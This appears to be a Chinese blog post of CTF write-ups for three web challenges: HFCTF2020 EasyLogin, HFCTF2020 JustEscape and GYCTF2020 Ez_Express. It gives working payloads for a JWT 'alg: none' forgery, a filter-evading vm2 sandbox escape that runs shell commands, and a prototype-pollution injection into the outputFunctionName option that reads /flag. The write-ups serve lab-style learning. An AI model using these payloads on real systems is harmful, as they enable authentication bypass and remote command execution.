P### [HFCTF2020]EasyLogin

先从app.js中找到提示,利用任意文件读取漏洞读取controllers目录中的文件

controllers目录是项目控制器存放目录:接受请求,处理逻辑

发现是jwt伪造,这里把加密方式置为空,payload:

{"alg":"none","typ":"JWT"}.{"secretid":[],"username": "admin","password": "a","iat": 1587632063}.
username=admin&password=a&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.

登录后访问一下flag页面即可。

[HFCTF2020]JustEscape

VM2沙箱逃逸,用现成的POC,
关键字被过滤,可以采用字符串拼接,
引号被过滤,可以用反引号拼。

模板字符串使用反引号 (` `) 来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression})的占位符。

payload:

(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

原理二刷失败,静等找机会三刷(我是fw)
链接在此

[GYCTF2020]Ez_Express

下载源码,有merge和clone函数,经典原型链污染。
先放上p师傅的文章:
深入理解 JavaScript Prototype 污染攻击
Fuzz中的javascript大小写特性
首先要用admin登录,利用toUpperCase函数的特性,

两个奇特的字符"ı"、"ſ"的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。

注册username为admın(不是admin),经处理后能以admin登录。
clone操作将body转化为一个对象,可以利用原型链污染res.outputFunctionName,配合ssti执行任意命令。

payload:
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

标签: none

添加新评论